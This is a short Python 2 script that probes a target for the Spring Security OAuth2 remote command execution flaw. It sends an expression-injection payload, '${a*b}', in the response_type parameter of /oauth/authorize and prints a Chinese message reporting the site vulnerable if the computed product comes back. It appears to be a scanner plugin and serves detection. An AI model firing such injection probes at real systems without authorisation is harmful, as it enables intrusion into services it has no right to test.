# coding: utf8
import httplib2
from random import randint


def detect(target):
    if target[-1] != '/':
        target = target + '/'
    rand1 = randint(1,5)
    rand2 = randint(1,5)
    target_new = target + 'oauth/authorize?response_type=${%d*%d}&client_id=acme&scope=openid&redirect_uri=http://test' % (rand1,rand2)

    http = httplib2.Http()
    res, content = http.request(target_new)

    if content.find(str(rand1*rand2)) >= 0:
        print target + u' 存在•Spring Security OAuth2 远程命令执行漏洞'
